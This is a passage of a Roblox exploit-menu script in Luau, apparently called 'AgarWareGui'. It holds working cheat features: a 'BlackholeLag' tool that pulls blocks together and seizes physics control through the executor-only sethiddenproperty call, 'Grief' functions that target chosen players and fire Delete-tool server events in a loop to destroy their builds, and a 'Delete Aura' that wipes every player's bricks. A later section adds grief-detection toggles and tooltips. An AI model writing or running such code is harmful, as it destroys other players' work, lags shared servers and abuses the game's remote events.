spawnPosition = lastBlackholePosition else -- First time: try to find welded block position local weldedBlock = nil for _, child in ipairs(hrp:GetChildren()) do if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then weldedBlock = child.Part1 or child.Part0 if weldedBlock == hrp then weldedBlock = child.Part0 or child.Part1 end break end end if weldedBlock then spawnPosition = weldedBlock.Position else -- Fallback: above head spawnPosition = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z) end end handlesPart = Instance.new("Part") handlesPart.Name = "BlackholeHandlesPart" handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize) handlesPart.Position = spawnPosition handlesPart.Anchored = true handlesPart.CanCollide = false handlesPart.Transparency = 0.5 handlesPart.Material = Enum.Material.ForceField handlesPart.BrickColor = BrickColor.new("Bright blue") handlesPart.Parent = workspace -- Add SelectionBox for visibility local selectionBox = Instance.new("SelectionBox") selectionBox.Adornee = handlesPart selectionBox.LineThickness = 0.05 selectionBox.Color3 = Color3.fromRGB(0, 170, 255) selectionBox.Parent = handlesPart targetPosition = handlesPart.Position -- Custom drag system (works on mobile AND PC) local dragging = false local dragStart = nil local dragStartPos = nil local originalCameraType = nil local function startDrag(input) -- Don't allow dragging if orbiting if isOrbiting then return end dragging = true dragStart = input.Position dragStartPos = handlesPart.Position -- Lock camera while dragging local camera = workspace.CurrentCamera originalCameraType = camera.CameraType camera.CameraType = Enum.CameraType.Scriptable end local function updateDrag(input) if not dragging then return end local camera = workspace.CurrentCamera local delta = input.Position - dragStart local worldDelta = camera.CFrame.RightVector * (delta.X * 0.05) + camera.CFrame.UpVector * (-delta.Y * 0.05) handlesPart.Position = dragStartPos + worldDelta targetPosition = handlesPart.Position end local function stopDrag() dragging = false dragStart = nil dragStartPos = nil -- Unlock camera if originalCameraType then local camera = workspace.CurrentCamera camera.CameraType = originalCameraType originalCameraType = nil end end table.insert(dragConnections, UserInputService.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then local mouse = LocalPlayer:GetMouse() if mouse.Target == handlesPart then startDrag(input) end end end)) table.insert(dragConnections, UserInputService.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then updateDrag(input) end end)) table.insert(dragConnections, UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then stopDrag() end end)) -- Watch for size changes sizeWatchConnection = RunService.Heartbeat:Connect(function() if isEnabled then updateHandlesSize() end end) end -- Destroy handles local function destroyHandles() -- Unlock camera if it was locked local camera = workspace.CurrentCamera if camera.CameraType == Enum.CameraType.Scriptable then camera.CameraType = Enum.CameraType.Custom end if handlesPart then handlesPart:Destroy() handlesPart = nil end for _, connection in ipairs(dragConnections) do connection:Disconnect() end dragConnections = {} if sizeWatchConnection then sizeWatchConnection:Disconnect() sizeWatchConnection = nil end targetPosition = nil end -- Release all blocks WITH EXPLOSION local function releaseAllBlocks() for block, data in pairs(bodyPositions) do if block and block.Parent then if data.bp and data.bp.Parent then data.bp:Destroy() end if data.props then block.CustomPhysicalProperties = data.props.customPhysics block.CanCollide = data.props.canCollide block.CanTouch = data.props.canTouch end -- EXPLODE: Random direction for each block with MAX force local randomDirection = Vector3.new( math.random() * 2 - 1, math.random() * 2 - 1, math.random() * 2 - 1 ).Unit local explosionForce = 500 block.AssemblyLinearVelocity = randomDirection * explosionForce end end bodyPositions = {} end -- Enable blackhole local function enable() isEnabled = true BlackholeLagTickBox.BackgroundColor3 = getAccentColor() for _, obj in ipairs(workspace:GetDescendants()) do checkAndAddBlock(obj) end workspace.DescendantAdded:Connect(function(obj) if isEnabled then checkAndAddBlock(obj) end end) createHandles() monitorConnection = RunService.Heartbeat:Connect(function() if not isEnabled or not targetPosition then return end -- Orbit logic if isOrbiting then local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if hrp and handlesPart then -- Calculate orbit position -- Speed 10 = 5 seconds per rotation -- Speed scales linearly: speed 20 = 2.5 seconds, speed 5 = 10 seconds local rotationTime = 35 / orbitSpeed -- 50 / 10 = 5 seconds at default local angle = (tick() / rotationTime) * (math.pi * 2) local orbitRadius = 15 local offsetX = math.cos(angle) * orbitRadius local offsetZ = math.sin(angle) * orbitRadius handlesPart.Position = hrp.Position + Vector3.new(offsetX, 0, offsetZ) targetPosition = handlesPart.Position end end -- Only update block positions if not paused if not isPaused then for block, data in pairs(bodyPositions) do if block and block.Parent and data.bp and data.bp.Parent then data.bp.Position = targetPosition end end end pcall(function() sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS) end) end) print("[BlackholeLag] Enabled") end -- Disable blackhole local function disable() isEnabled = false BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Save last position before destroying if handlesPart then lastBlackholePosition = handlesPart.Position end if monitorConnection then monitorConnection:Disconnect() monitorConnection = nil end releaseAllBlocks() destroyHandles() print("[BlackholeLag] Disabled") end local function toggle() if isEnabled then disable() else enable() end end BlackholeLagTickBox.MouseButton1Click:Connect(toggle) BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- TP Blackhole button if TPBlackholeButton then TPBlackholeButton.MouseButton1Click:Connect(function() if not isEnabled then TPBlackholeButton.Text = "Enable Blackhole First!" task.wait(1) TPBlackholeButton.Text = "TP Blackhole" return end if not handlesPart then return end local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end -- TP blackhole above head handlesPart.Position = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z) targetPosition = handlesPart.Position lastBlackholePosition = handlesPart.Position print("[BlackholeLag] Teleported above head") end) end -- Orbit Blackhole toggle if OrbitBlackholeTickBox then OrbitBlackholeTickBox.MouseButton1Click:Connect(function() isOrbiting = not isOrbiting if isOrbiting then OrbitBlackholeTickBox.BackgroundColor3 = getAccentColor() print("[BlackholeLag] Orbit enabled") else OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0) print("[BlackholeLag] Orbit disabled") end end) OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end -- Orbit speed changer if OrbitBlackholeChanger then OrbitBlackholeChanger.FocusLost:Connect(function() local text = OrbitBlackholeChanger.Text local num = tonumber(text) if num and num > 0 then orbitSpeed = num OrbitBlackholeChanger.Text = tostring(num) print("[BlackholeLag] Orbit speed set to:", num) else OrbitBlackholeChanger.Text = tostring(orbitSpeed) end end) OrbitBlackholeChanger.Text = "10" end -- Listen to block processing webhooks if not _G.LagMachineWebhook then _G.LagMachineWebhook = {} end _G.LagMachineWebhook.OnProcessingStarted = function() if isEnabled then isPaused = true print("[BlackholeLag] Paused during block processing") end end _G.LagMachineWebhook.OnProcessingFinished = function() if isEnabled then isPaused = false print("[BlackholeLag] Resumed after block processing") end end script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) print("[BlackholeLag] Script loaded - OFF by default") end; task.spawn(C_1c3); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript local function C_1cf() local script = G2L["1cf"]; -- GriefScript (inside GriefGroup) local GriefGroup = script.Parent local GriefMinimize = GriefGroup.GriefTitle.GriefMinimize local function getRows() local rows = {} for _, child in ipairs(GriefGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = GriefGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) GriefMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then GriefGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end GriefMinimize.Text = "+" else GriefGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end GriefMinimize.Text = "-" end end) end; task.spawn(C_1cf); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript local function C_1d5() local script = G2L["1d5"]; local Players = game:GetService("Players") local SelectDRow = script.Parent local SelectDDropdown = SelectDRow:WaitForChild("SelectDDropdown") repeat task.wait() until shared.DropdownMaster local function updateSelectedPlayers(selected) local names = {} for name, _ in pairs(selected) do table.insert(names, name) end SelectDRow:SetAttribute("SelectedPlayers", table.concat(names, ",")) shared.GriefSelectedPlayers = selected end shared.DropdownMaster.create({ dropdown = SelectDDropdown, multiSelect = true, showIcons = true, onMultiSelectChange = function(selected) updateSelectedPlayers(selected) end, bottomButtons = { { text = "Select All", onClick = function(state) -- Clear and repopulate the DROPDOWN's selectedPlayers for k in pairs(state.selectedPlayers) do state.selectedPlayers[k] = nil end for _, p in pairs(Players:GetPlayers()) do state.selectedPlayers[p.Name] = true end -- Update main label local count = 0 for _ in pairs(state.selectedPlayers) do count = count + 1 end state.mainLabel.Text = count .. " Players Selected" -- Notify change state.notifyChange() -- Rebuild visual state.rebuildList() end }, { text = "Unselect All", onClick = function(state) -- Clear the DROPDOWN's selectedPlayers for k in pairs(state.selectedPlayers) do state.selectedPlayers[k] = nil end -- Update main label state.mainLabel.Text = "Select Players" -- Notify change state.notifyChange() -- Rebuild visual state.rebuildList() end }, { text = "Show Display", onClick = function(state) state.setShowDisplay(not state.showDisplay) state.button.Text = state.showDisplay and "Show Username" or "Show Display" state.rebuildList() end } } }) SelectDRow:SetAttribute("SelectedPlayers", "") end; task.spawn(C_1d5); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript local function C_1da() local script = G2L["1da"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local HLBlockRow = script.Parent local GriefGroup = HLBlockRow.Parent local GriefAccentColor = GriefGroup:WaitForChild("GriefAccentColor") local HLBlockTickBox = HLBlockRow:WaitForChild("HLBlockTickBox") -- Get the SelectD row to access selected players local SelectDRow = GriefGroup:FindFirstChild("SelectDRow") -- State local isEnabled = false local highlights = {} -- Store all highlights so we can remove them later -- ============================================================ -- UPDATE VISUAL -- ============================================================ local function updateVisual() if isEnabled then HLBlockTickBox.BackgroundColor3 = GriefAccentColor.BackgroundColor3 else HLBlockTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() -- ============================================================ -- GET SELECTED PLAYERS -- ============================================================ local function getSelectedPlayers() -- Method 1: Use shared table (fastest) if shared.GriefSelectedPlayers then return shared.GriefSelectedPlayers end -- Method 2: Parse attribute (fallback) if SelectDRow then local attr = SelectDRow:GetAttribute("SelectedPlayers") if attr and attr ~= "" then local players = {} for name in string.gmatch(attr, "[^,]+") do players[name] = true end return players end end return {} end -- ============================================================ -- GET PLAYER'S BLOCKS -- ============================================================ local function getPlayerBlocks(playerName) local blocks = {} local bricksFolder = workspace:FindFirstChild("Bricks") if not bricksFolder then return blocks end local playerFolder = bricksFolder:FindFirstChild(playerName) if not playerFolder then return blocks end -- Get all bricks in the player's folder for _, brick in ipairs(playerFolder:GetChildren()) do if brick:IsA("BasePart") and brick.Name == "Brick" then table.insert(blocks, brick) end end return blocks end -- ============================================================ -- REMOVE ALL HIGHLIGHTS -- ============================================================ local function removeAllHighlights() for _, highlight in ipairs(highlights) do if highlight and highlight.Parent then highlight:Destroy() end end highlights = {} end -- ============================================================ -- HIGHLIGHT BLOCKS -- ============================================================ local function highlightBlocks() removeAllHighlights() local selectedPlayers = getSelectedPlayers() local totalBlocks = 0 for playerName, _ in pairs(selectedPlayers) do local blocks = getPlayerBlocks(playerName) for _, brick in ipairs(blocks) do -- Create red cham highlight (no outline) local highlight = Instance.new("Highlight") highlight.Adornee = brick highlight.FillColor = Color3.fromRGB(255, 0, 0) -- Red highlight.OutlineColor = Color3.fromRGB(255, 0, 0) -- Same as fill highlight.FillTransparency = 0.7 -- More transparent highlight.OutlineTransparency = 1 -- No outline highlight.Parent = brick table.insert(highlights, highlight) totalBlocks = totalBlocks + 1 end end end -- ============================================================ -- WATCH FOR NEW BLOCKS -- ============================================================ local blockWatcher = nil local function startWatching() local bricksFolder = workspace:FindFirstChild("Bricks") if not bricksFolder then return end blockWatcher = bricksFolder.DescendantAdded:Connect(function(descendant) if not isEnabled then return end if not descendant:IsA("BasePart") or descendant.Name ~= "Brick" then return end -- Check if this brick belongs to a selected player local playerFolder = descendant.Parent if not playerFolder or playerFolder.Parent ~= bricksFolder then return end local selectedPlayers = getSelectedPlayers() if selectedPlayers[playerFolder.Name] then -- Highlight this new brick task.wait(0.1) -- Wait a bit for the brick to settle if descendant and descendant:IsDescendantOf(workspace) then local highlight = Instance.new("Highlight") highlight.Adornee = descendant highlight.FillColor = Color3.fromRGB(255, 0, 0) highlight.OutlineColor = Color3.fromRGB(255, 0, 0) highlight.FillTransparency = 0.7 -- More transparent highlight.OutlineTransparency = 1 -- No outline highlight.Parent = descendant table.insert(highlights, highlight) end end end) end local function stopWatching() if blockWatcher then blockWatcher:Disconnect() blockWatcher = nil end end -- ============================================================ -- ENABLE / DISABLE -- ============================================================ local function enable() isEnabled = true updateVisual() highlightBlocks() startWatching() end local function disable() isEnabled = false updateVisual() removeAllHighlights() stopWatching() end -- ============================================================ -- TICKBOX TOGGLE -- ============================================================ HLBlockTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- ============================================================ -- WATCH FOR SELECTION CHANGES -- ============================================================ if SelectDRow then SelectDRow:GetAttributeChangedSignal("SelectedPlayers"):Connect(function() if isEnabled then -- Re-highlight with new selection highlightBlocks() end end) end -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if isEnabled then disable() end end end) -- ============================================================ -- AUTO-ENABLE ON STARTUP -- ============================================================ enable() end; task.spawn(C_1da); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript local function C_1de() local script = G2L["1de"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ToggleGriefRow = script.Parent local GriefGroup = ToggleGriefRow.Parent local ToggleGriefButton = ToggleGriefRow:WaitForChild("ToggleGriefButton") -- Get the SelectD row to access selected players local SelectDRow = GriefGroup:FindFirstChild("SelectDRow") -- State local isGriefing = false local griefLoop = nil -- Text states local TEXT_START = "Start Grief" local TEXT_STOP = "Stop Grief" local TEXT_NO_BLOCKS = "No Blocks Found" -- Network delay local ws = 0.05 -- ============================================================ -- GET SELECTED PLAYERS -- ============================================================ local function getSelectedPlayers() if shared.GriefSelectedPlayers then return shared.GriefSelectedPlayers end if SelectDRow then local attr = SelectDRow:GetAttribute("SelectedPlayers") if attr and attr ~= "" then local players = {} for name in string.gmatch(attr, "[^,]+") do players[name] = true end return players end end return {} end -- ============================================================ -- GET ALL TARGET BLOCKS (INFINITE RANGE) -- ============================================================ local function getAllTargetBlocks() local blocks = {} local selectedPlayers = getSelectedPlayers() local bricksFolder = workspace:FindFirstChild("Bricks") if not bricksFolder then return blocks end for playerName, _ in pairs(selectedPlayers) do local playerFolder = bricksFolder:FindFirstChild(playerName) if playerFolder then for _, brick in ipairs(playerFolder:GetChildren()) do if brick:IsA("BasePart") and brick.Name == "Brick" then table.insert(blocks, brick) end end end end local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if hrp then table.sort(blocks, function(a, b) local distA = (a.Position - hrp.Position).Magnitude local distB = (b.Position - hrp.Position).Magnitude return distA < distB end) end return blocks end -- ============================================================ -- GET DELETE TOOLS -- ============================================================ local function findDeleteTools() local dtools = {} for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then table.insert(dtools, {bt = v, e = v.Script.Event}) end end if LocalPlayer.Character then for _, v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then table.insert(dtools, {bt = v, e = v.Script.Event}) end end end return dtools end -- ============================================================ -- START GRIEFING -- ============================================================ local function startGrief() local dtools = findDeleteTools() if #dtools == 0 then ToggleGriefButton.Text = "Delete tool not found" task.wait(1) ToggleGriefButton.Text = TEXT_START return end local selectedPlayers = getSelectedPlayers() if not next(selectedPlayers) then ToggleGriefButton.Text = "No players selected" task.wait(1) ToggleGriefButton.Text = TEXT_START return end isGriefing = true ToggleGriefButton.Text = TEXT_STOP griefLoop = task.spawn(function() local dti = 0 local lastRefreshTime = 0 -- Initial refresh when starting if shared.DeleteToolRefresh then shared.DeleteToolRefresh() end lastRefreshTime = tick() while isGriefing do local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if not hrp then task.wait() continue end local dtools = findDeleteTools() if #dtools > 0 then local targetBlocks = getAllTargetBlocks() if #targetBlocks > 0 then -- Refresh every 5 seconds ONLY when blocks exist if tick() - lastRefreshTime >= 5 then if shared.DeleteToolRefresh then shared.DeleteToolRefresh() end lastRefreshTime = tick() end -- Fire delete events for _, block in pairs(targetBlocks) do if not isGriefing then break end if block and block:IsDescendantOf(workspace) then dti = dti + 1 local dt = dtools[(dti % #dtools) + 1] pcall(function() dt.e:FireServer(block, hrp.Position) end) task.wait(ws / #dtools) end end else -- No blocks, don't refresh, just wait task.wait(0.5) end else task.wait(1) end task.wait() end end) end -- ============================================================ -- STOP GRIEFING -- ============================================================ local function stopGrief() isGriefing = false ToggleGriefButton.Text = TEXT_START if griefLoop then task.cancel(griefLoop) griefLoop = nil end task.wait(0.1) local dtools = findDeleteTools() for _, dt in pairs(dtools) do if dt.bt.Parent == LocalPlayer.Character then dt.bt.Parent = LocalPlayer.Backpack end end end -- ============================================================ -- BUTTON HANDLERS -- ============================================================ ToggleGriefButton.MouseEnter:Connect(function() if not isGriefing then local targetBlocks = getAllTargetBlocks() if #targetBlocks == 0 then ToggleGriefButton.Text = TEXT_NO_BLOCKS end end end) ToggleGriefButton.MouseLeave:Connect(function() if not isGriefing then ToggleGriefButton.Text = TEXT_START end end) ToggleGriefButton.MouseButton1Click:Connect(function() if isGriefing then stopGrief() else startGrief() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if isGriefing then stopGrief() end end end) end; task.spawn(C_1de); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript local function C_1e1() local script = G2L["1e1"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local RunService = game:GetService("RunService") local GriefAllRow = script.Parent local GriefGroup = GriefAllRow.Parent local GriefAllButton = GriefAllRow:WaitForChild("GriefAllButton") -- State local isGriefing = false local griefLoop = nil local highlightLoop = nil local highlights = {} -- Text states local TEXT_START = "Delete Aura" local TEXT_STOP = "Stop Delete Aura" local TEXT_NO_BLOCKS = "No Blocks Found" -- Network delay local ws = 0.05 -- ============================================================ -- GET ALL TARGET BLOCKS -- ============================================================ local function getAllTargetBlocks() local blocks = {} local bricksFolder = workspace:FindFirstChild("Bricks") if not bricksFolder then return blocks end for _, brick in ipairs(bricksFolder:GetDescendants()) do if brick:IsA("BasePart") and brick.Name == "Brick" then table.insert(blocks, brick) end end local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if hrp then table.sort(blocks, function(a, b) local distA = (a.Position - hrp.Position).Magnitude local distB = (b.Position - hrp.Position).Magnitude return distA < distB end) end return blocks end -- ============================================================ -- GET DELETE TOOLS -- ============================================================ local function findDeleteTools() local dtools = {} for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then table.insert(dtools, {bt = v, e = v.Script.Event}) end end if LocalPlayer.Character then for _, v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then table.insert(dtools, {bt = v, e = v.Script.Event}) end end end return dtools end -- ============================================================ -- CLEAR ALL HIGHLIGHTS -- ============================================================ local function clearHighlights() for _, highlight in pairs(highlights) do if highlight and highlight.Parent then pcall(function() highlight:Destroy() end) end end highlights = {} end -- ============================================================ -- START GRIEFING -- ============================================================ local function startGrief() local dtools = findDeleteTools() if #dtools == 0 then GriefAllButton.Text = "Delete tool not found" task.wait(1) GriefAllButton.Text = TEXT_START return end isGriefing = true GriefAllButton.Text = TEXT_STOP -- HIGHLIGHT LOOP (separate thread) highlightLoop = task.spawn(function() while isGriefing do clearHighlights() local targetBlocks = getAllTargetBlocks() local blocksPerSecond = 1 / (ws / math.max(#dtools, 1)) local highlightCount = math.floor(blocksPerSecond * 2) for i = 1, math.min(highlightCount, #targetBlocks) do local block = targetBlocks[i] if block and block:IsDescendantOf(workspace) then local highlight = Instance.new("Highlight") highlight.Adornee = block highlight.FillColor = Color3.fromRGB(255, 0, 0) highlight.OutlineColor = Color3.fromRGB(255, 0, 0) highlight.FillTransparency = 0.5 highlight.OutlineTransparency = 1 highlight.Parent = block table.insert(highlights, highlight) end end task.wait(0.1) end clearHighlights() end) -- GRIEF LOOP (separate thread) griefLoop = task.spawn(function() local dti = 0 local lastRefreshTime = 0 -- Initial refresh when starting if shared.DeleteToolRefresh then shared.DeleteToolRefresh() end lastRefreshTime = tick() while isGriefing do local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if not hrp then task.wait() continue end local dtools = findDeleteTools() if #dtools > 0 then local targetBlocks = getAllTargetBlocks() if #targetBlocks > 0 then -- Refresh every 5 seconds ONLY when blocks exist if tick() - lastRefreshTime >= 5 then if shared.DeleteToolRefresh then shared.DeleteToolRefresh() end lastRefreshTime = tick() end -- Check if any blocks are highlighted local hasHighlights = false for _, h in pairs(highlights) do if h and h.Parent then hasHighlights = true break end end -- DELETE ONLY HIGHLIGHTED BLOCKS (or any block if none highlighted) for _, block in ipairs(targetBlocks) do if not isGriefing then break end if block and block:IsDescendantOf(workspace) then -- Check if this block is highlighted local isHighlighted = false for _, h in pairs(highlights) do if h and h.Adornee == block then isHighlighted = true break end end -- Only delete if: highlighted OR no highlights exist at all if isHighlighted or not hasHighlights then dti = dti + 1 local dt = dtools[(dti % #dtools) + 1] pcall(function() dt.e:FireServer(block, hrp.Position) end) task.wait(ws / #dtools) end end end else -- No blocks, don't refresh, just wait task.wait(0.5) end else task.wait(1) end task.wait() end end) end -- ============================================================ -- STOP GRIEFING -- ============================================================ local function stopGrief() isGriefing = false GriefAllButton.Text = TEXT_START if griefLoop then task.cancel(griefLoop) griefLoop = nil end if highlightLoop then task.cancel(highlightLoop) highlightLoop = nil end task.wait(0.1) clearHighlights() local dtools = findDeleteTools() for _, dt in pairs(dtools) do if dt.bt.Parent == LocalPlayer.Character then dt.bt.Parent = LocalPlayer.Backpack end end end -- ============================================================ -- BUTTON HANDLERS -- ============================================================ GriefAllButton.MouseEnter:Connect(function() if not isGriefing then local targetBlocks = getAllTargetBlocks() if #targetBlocks == 0 then GriefAllButton.Text = TEXT_NO_BLOCKS end end end) GriefAllButton.MouseLeave:Connect(function() if not isGriefing then GriefAllButton.Text = TEXT_START end end) GriefAllButton.MouseButton1Click:Connect(function() if isGriefing then stopGrief() else startGrief() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if isGriefing then stopGrief() end end end) end; task.spawn(C_1e1); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript local function C_1e7() local script = G2L["1e7"]; local EnableGroup = script.Parent local EnableMinimize = EnableGroup.EnableTitle.EnableMinimize local function getRows() local rows = {} for _, child in ipairs(EnableGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = EnableGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) EnableMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then EnableGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end EnableMinimize.Text = "+" else EnableGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end EnableMinimize.Text = "-" end end) end; task.spawn(C_1e7); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip local function C_1e8() local script = G2L["1e8"]; -- ============================================================ -- ENABLE TOOLTIP SCRIPT -- Controls Enable-related tooltips only -- ============================================================ local Group = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local EnableDeleteTickBox = findDescendant("EnableDeleteTickBox") local EnablePaintTickBox = findDescendant("EnablePaintTickBox") local EnableSpamTickBox = findDescendant("EnableSpamTickBox") local EnableExploitsTickBox = findDescendant("EnableExploitsTickBox") local EnableHelp = findDescendant("EnableHelp") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local deleteTooltip = makeTooltip( "Detects players deleting other people's builds." ) local paintTooltip = makeTooltip( "Detects players painting other people's builds." ) local spamTooltip = makeTooltip( "Detects players spamming blocks." ) local exploitsTooltip = makeTooltip( "Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief." ) local helpTooltip = makeTooltip( "Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(EnableDeleteTickBox, deleteTooltip) hookTooltip(EnablePaintTickBox, paintTooltip) hookTooltip(EnableSpamTickBox, spamTooltip) hookTooltip(EnableExploitsTickBox, exploitsTooltip) hookTooltip(EnableHelp, helpTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then deleteTooltip:Destroy() paintTooltip:Destroy() spamTooltip:Destroy() exploitsTooltip:Destroy() helpTooltip:Destroy() end end) end; task.spawn(C_1e8); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript local function C_1ef() local script = G2L["1ef"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EnableDeleteRow = script.Parent local EnableGroup = EnableDeleteRow.Parent local EnableDeleteTickBox = EnableDeleteRow:WaitForChild("EnableDeleteTickBox") local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor") local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") local Enabled = false local function updateVisual() if Enabled then EnableDeleteTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3 print("Delete Detection ON") else EnableDeleteTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("Delete Detection OFF") end end EnableDeleteTickBox.MouseButton1Click:Connect(function() Enabled = not Enabled ScreenGui:SetAttribute("DeleteLogsEnabled", Enabled) updateVisual() end) updateVisual() end; task.spawn(C_1ef); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript local function C_1f3() local script = G2L["1f3"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EnablePaintRow = script.Parent local EnableGroup = EnablePaintRow.Parent local EnablePaintTickBox = EnablePaintRow:WaitForChild("EnablePaintTickBox") local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor") local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") local Enabled = false local function updateVisual() if Enabled then EnablePaintTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3 print("Paint Detection ON") else EnablePaintTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("Paint Detection OFF") end end EnablePaintTickBox.MouseButton1Click:Connect(function() Enabled = not Enabled 